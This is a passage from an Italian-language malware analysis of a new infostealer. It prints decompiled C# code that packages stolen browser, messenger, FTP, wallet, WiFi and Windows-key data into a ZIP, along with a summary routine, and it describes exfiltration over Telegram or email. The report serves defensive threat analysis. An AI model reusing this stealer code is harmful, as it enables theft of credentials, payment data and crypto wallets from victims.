Encoding.UTF8.GetBytes(fomdata.OutLook.ToString()) }, { "Messengers/Pidgin.txt", Encoding.UTF8.GetBytes(fomdata.PidginRecoveries.ToString()) }, { "Messengers/FoxMail.txt", Encoding.UTF8.GetBytes(fomdata.FoxMail.ToString()) }, { "Messengers/Discord.txt", Encoding.UTF8.GetBytes(fomdata.DiscordTokenList.ToString()) }, { "FTP/", new byte[0] }, { "FTP/FileZilla.txt", Encoding.UTF8.GetBytes(fomdata.FileZilla.ToString()) }, { "Wallets.zip", fomdata.WalletsB }, { "Sys/", new byte[0] }, { "Sys/Info.txt", Encoding.UTF8.GetBytes(fomdata.SysInfo.ToString()) }, { "Sys/Wifi.txt", Encoding.UTF8.GetBytes(fomdata.WifiPass.ToString()) }, { "Sys/Clipboard.txt", Encoding.UTF8.GetBytes(fomdata.Clipboard.ToString()) }, { "Sys/Installed_Apps.txt", Encoding.UTF8.GetBytes(fomdata.InstalledApps.ToString()) }, { "Sys/Win_Key.txt", Encoding.UTF8.GetBytes(fomdata.WinKeyRc.ToString()) } }; }

Viene poi generato un riassunto dei dati rubati contando il numero di elementi trovati per ciascuna categoria. Questo sunto viene usato come testo dell’e-mail o del messaggio Telegram con cui i dati sono inviati agli attori dietro l’infostealer. In allegato all’e-mail o al messaggio è presente lo ZIP con i dati rubati.

public static string StolenDataSummary() { int num = 0; do { if (num == 0) { num = 1; } } while (num != 1); StringBuilder stringBuilder = new StringBuilder(); stringBuilder.AppendLine(); stringBuilder.AppendLine("Passwords: " + xuguvojacumuhid.nexihip.ToString()); stringBuilder.AppendLine("CreditCards: " + xuguvojacumuhid.vopenagulinuwej.ToString()); stringBuilder.AppendLine("AutoFill: " + xuguvojacumuhid.gelalot.ToString()); stringBuilder.AppendLine("TopSites: " + xuguvojacumuhid.mumtemp.ToString()); stringBuilder.AppendLine("Cookies: " + xuguvojacumuhid.cetuditegar.ToString()); stringBuilder.AppendLine("Bookmarks: " + xuguvojacumuhid.hezimuvubuwocorodid.ToString()); stringBuilder.AppendLine("Downloads: " + xuguvojacumuhid.cazoligifof.ToString()); stringBuilder.AppendLine("Vpn: " + xuguvojacumuhid.Vpn.ToString()); stringBuilder.AppendLine("Pidgin: " + xuguvojacumuhid.luh.ToString()); stringBuilder.AppendLine("Wallets: " + xuguvojacumuhid.fasujetinap.ToString()); stringBuilder.AppendLine("SavedWifiNetworks: " + xuguvojacumuhid.golahidodezesafejokvalue.ToString()); stringBuilder.AppendLine("BrowserWallets: " + xuguvojacumuhid.cemipusokariterator.ToString()); stringBuilder.AppendLine("FtpHosts: " + xuguvojacumuhid.pidexiwiruv.ToString()); stringBuilder.AppendLine("Element: " + Convert.ToBoolean(xuguvojacumuhid.xuboutput).ToString()); stringBuilder.AppendLine("Signal: " + Convert.ToBoolean(xuguvojacumuhid.keqresult).ToString()); stringBuilder.AppendLine("Tox: " + Convert.ToBoolean(xuguvojacumuhid.ruwijezaxocavapahil).ToString()); stringBuilder.AppendLine("ICQ: " + Convert.ToBoolean(xuguvojacumuhid.luneruvoqehubam).ToString()); stringBuilder.AppendLine("Skype: " + Convert.ToBoolean(xuguvojacumuhid.kokresult).ToString()); stringBuilder.AppendLine("Discord: " + Convert.ToBoolean(xuguvojacumuhid.vonegabupaxoqogafap).ToString()); stringBuilder.AppendLine("Telegram: " + Convert.ToBoolean(xuguvojacumuhid.cugifacacozovik).ToString()); stringBuilder.AppendLine("Outlook: " + Convert.ToBoolean(xuguvojacumuhid.raroboxikop).ToString()); stringBuilder.AppendLine("Steam: " + Convert.ToBoolean(xuguvojacumuhid.racezequjaweliyogov).ToString()); stringBuilder.AppendLine("Uplay: " + Convert.ToBoolean(xuguvojacumuhid.lafemivinput).ToString()); stringBuilder.AppendLine("BattleNet: " + Convert.ToBoolean(xuguvojacumuhid.dusahax).ToString()); stringBuilder.AppendLine("ProductKey: " + Convert.ToBoolean(xuguvojacumuhid.yub).ToString()); stringBuilder.AppendLine("DesktopScreenshot: " + Convert.ToBoolean(xuguvojacumuhid.befaqufineg).ToString()); stringBuilder.AppendLine("WebcamScreenshot: " + Convert.ToBoolean(xuguvojacumuhid.vosuwaf).ToString()); return stringBuilder.ToString(); }

I metodi di esfiltrazione sono, come anticipato, due: tramite messaggio su un apposito canale Telegram o tramite E-mail.

Lo spyware ha una stringa di configurazione che sembra funzionare da ID della campagna per permettere ai suoi utilizzatori di catalogare meglio i dati raccolti. Nel sample analizzato tale ID è Test.

Inviati i dati, il malware ha terminato il suo compito e l’esecuzione termina naturalmente.

Considerazioni e conclusioni

Questo nuovo infostealer è stato rilevato in una campagna con un’e-mail con testo in inglese e non ha quindi (al momento) preso di mira l’Italia in modo specifico. L’utilizzo della stringa “Test” come ID della campagna fa presupporre di essere di fronte ad un primo utilizzo di questo malware.

Come funzionalità presenti, questi sono semplici ma complete. I dati raccolti sono di valore per il criminale occasionale, sia per la loro natura che per la loro numerosità. Questo malware risulta quindi pericoloso per l’utente domestico.

Il furto delle chiavi di attivazione di Windows fa pensare ad un malware creato per la criminalità occasionale ma due aspetti atipici sono da evidenziare:

  • Sono rubati dati che possono essere usati come tattica di accesso iniziale, ovvero che possono facilitare l’accesso di un criminale nella rete di un’organizzazione. Nello specifico le password delle reti WiFi, insieme agli IP della macchina. Queste informazioni non sono particolarmente utili al criminale occasionale.
  • Il malware non ha nessuna tattica di persistenza e non prova a rubare periodicamente le credenziali, invece le ruba una volta soltanto (a meno di non essere rieseguito). Sebbene questo comportamento non sia nuovo, in generale gli infostealer rimangono attivi indefinitivamente (es: AgentTesla).

Viene quindi naturale chiedersi quale sia il mercato a cui sono rivolte le informazioni rubate e se queste possano essere utili anche ad attori IAB (Initial Access Broker) che hanno il compito di fornire l’accesso ai sistemi alle gang ransomware. Non vi sono elementi sufficienti per trarre conclusioni al riguardo e probabilmente neanche una linea che separa nettamente le campagne malware ad uso di IAB da quelle ad uso di criminali occasionali, ma con la perseveranza di campagne volte a diffondere software di controllo remoto come ScreenConnect o UltraVNC e campagne volte a diffondere ransomware (come Knight o Paganin) viene da chiedersi se siamo in presenza di una strategia mirata all’indebolimento delle strutture produttive del Paese.